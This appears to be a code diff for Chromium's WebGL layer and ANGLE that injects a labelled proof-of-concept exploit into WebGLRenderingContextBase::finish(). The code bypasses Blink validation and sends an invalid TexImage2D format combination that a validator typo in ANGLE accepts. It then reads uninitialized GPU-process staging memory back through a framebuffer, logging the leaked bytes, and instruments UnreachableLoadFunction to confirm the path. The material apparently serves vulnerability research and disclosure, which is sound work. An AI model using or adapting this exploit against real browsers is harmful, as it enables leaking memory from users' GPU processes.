diff --git a/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc b/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc index 226757a87e8ba..47c264e8820d7 100644 --- a/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc +++ b/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc @@ -3305,6 +3305,117 @@ void WebGLRenderingContextBase::enableVertexAttribArray(GLuint index) { void WebGLRenderingContextBase::finish() { if (isContextLost()) return; + + // ======================================================================== + // POC INJECTION: simulate compromised renderer. + // Bypass Blink WebGL validation and send a TexImage2D tuple that ANGLE's + // ES2 validator should reject but doesn't, due to the always-true + // `&& GL_UNSIGNED_INT_2_10_10_10_REV_EXT &&` typo in + // third_party/angle/src/libANGLE/validationES2.cpp:1491/1505. + // ======================================================================== + static bool poc_done = false; + if (!poc_done) { + poc_done = true; + gpu::gles2::GLES2Interface* gl = ContextGL(); + + LOG(ERROR) << "[POC] ====== BEGIN compromised-renderer attack ======"; + + // For a CONTEXT_TYPE_WEBGL1 context the ANGLE extensions are + // requestable; enable the ones the buggy branch checks for. + gl->RequestExtensionCHROMIUM("GL_OES_required_internalformat"); + gl->RequestExtensionCHROMIUM("GL_EXT_texture_type_2_10_10_10_REV"); + gl->RequestExtensionCHROMIUM("GL_OES_texture_float"); + gl->RequestExtensionCHROMIUM("GL_OES_rgb8_rgba8"); + while (gl->GetError() != GL_NO_ERROR) { + } + + constexpr GLsizei kW = 32, kH = 32; + + // Prime the GPU-process staging buffer pool with a recognizable + // marker so the leak is unambiguous: upload an RGBA8 texture full of + // 0xCA bytes via the normal (legitimate) path, then Finish so the + // staging suballocation returns to the pool. + { + GLuint warm = 0; + gl->GenTextures(1, &warm); + gl->BindTexture(GL_TEXTURE_2D, warm); + std::vector marker(static_cast(kW) * kH * 4, 0xCA); + for (int i = 0; i < 4; i++) { + gl->TexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, kW, kH, 0, GL_RGBA, + GL_UNSIGNED_BYTE, marker.data()); + } + gl->Finish(); + gl->DeleteTextures(1, &warm); + gl->Finish(); + while (gl->GetError() != GL_NO_ERROR) { + } + } + + GLuint tex = 0; + gl->GenTextures(1, &tex); + gl->BindTexture(GL_TEXTURE_2D, tex); + gl->TexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST); + gl->TexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST); + + // Attacker-supplied "pixels": a recognizable pattern of 1.0f floats. + // If the load function actually ran, an RGB8 texture filled with 1.0f + // would read back as 0xFF bytes. It will not. + std::vector input(static_cast(kW) * kH * 3, 1.0f); + + // internalformat=GL_RGB8 (0x8051), format=GL_RGB, type=GL_FLOAT. + // This is an INVALID ES2 combination. The buggy branch in ANGLE's + // validator sets nonEqualFormatsAllowed=true regardless of `type`, + // so it is accepted and reaches the backend's load-function table + // where it falls through to UnreachableLoadFunction. + gl->TexImage2D(GL_TEXTURE_2D, 0, GL_RGB8, kW, kH, 0, GL_RGB, GL_FLOAT, + input.data()); + GLenum err = gl->GetError(); + LOG(ERROR) << "[POC] glTexImage2D(GL_RGB8, GL_RGB, GL_FLOAT) -> error=0x" + << std::hex << err + << (err == GL_NO_ERROR + ? " ** ACCEPTED: ANGLE validation bypass confirmed **" + : " (rejected)"); + + // Attach to an FBO and read back the texture contents. Because the + // load function never wrote the staging buffer, what we read is + // uninitialized GPU-process staging memory, NOT a conversion of our + // 1.0f input. + GLuint fbo = 0; + gl->GenFramebuffers(1, &fbo); + gl->BindFramebuffer(GL_FRAMEBUFFER, fbo); + gl->FramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, + GL_TEXTURE_2D, tex, 0); + GLenum fbstat = gl->CheckFramebufferStatus(GL_FRAMEBUFFER); + LOG(ERROR) << "[POC] FBO status=0x" << std::hex << fbstat; + if (fbstat == GL_FRAMEBUFFER_COMPLETE) { + std::vector readback(static_cast(kW) * kH * 4, 0x00); + gl->ReadPixels(0, 0, kW, kH, GL_RGBA, GL_UNSIGNED_BYTE, readback.data()); + gl->Finish(); + std::string hex; + for (int i = 0; i < 64; i++) { + char b[4]; + snprintf(b, sizeof(b), "%02x ", readback[i]); + hex += b; + } + LOG(ERROR) << "[POC] First 64 bytes of leaked texture: " << hex; + LOG(ERROR) << "[POC] (Expected if NOT vulnerable: ff ff ff ff ... )"; + bool all_ff = true; + for (int i = 0; i < 64; i++) { + if (readback[i] != 0xFF) { + all_ff = false; + break; + } + } + LOG(ERROR) << "[POC] Readback matches converted input? " + << (all_ff ? "YES (no leak observed)" + : "NO -> uninitialized staging memory leaked"); + } + gl->BindFramebuffer(GL_FRAMEBUFFER, 0); + gl->DeleteFramebuffers(1, &fbo); + gl->DeleteTextures(1, &tex); + LOG(ERROR) << "[POC] ====== END ======"; + } + ContextGL()->Flush(); // Intentionally a flush, not a finish. } diff --git a/third_party/angle/src/libANGLE/renderer/load_functions_table_autogen.cpp b/third_party/angle/src/libANGLE/renderer/load_functions_table_autogen.cpp index 0d30da0cdc..922e66e1f0 100644 --- a/third_party/angle/src/libANGLE/renderer/load_functions_table_autogen.cpp +++ b/third_party/angle/src/libANGLE/renderer/load_functions_table_autogen.cpp @@ -55,6 +55,25 @@ void UnreachableLoadFunction(const ImageLoadContext &context, size_t outputRowPitch, size_t outputDepthPitch) { + // POC INSTRUMENTATION: In official builds, UNREACHABLE() is a no-op + // (NDEBUG defined, ANGLE_ASSERT_ALWAYS_ON undefined), so this function + // silently returns without writing |output|. The caller then uploads the + // uninitialized staging buffer to the GPU texture -> info leak. + // For the POC we abort here to prove the renderer-crafted TexImage2D + // reached "unreachable" code in the GPU process. + fprintf(stderr, + "[POC][GPU] *** UnreachableLoadFunction REACHED *** " + "width=%zu height=%zu inputRowPitch=%zu outputRowPitch=%zu " + "-- output buffer is NEVER written; in release this is a silent " + "uninitialized-memory upload.\n", + width, height, inputRowPitch, outputRowPitch); + fflush(stderr); + if (!getenv("POC_NO_TRAP")) + { + __builtin_trap(); + } + // With POC_NO_TRAP=1 we fall through exactly like a release build + // would: |output| is left UNWRITTEN. UNREACHABLE(); }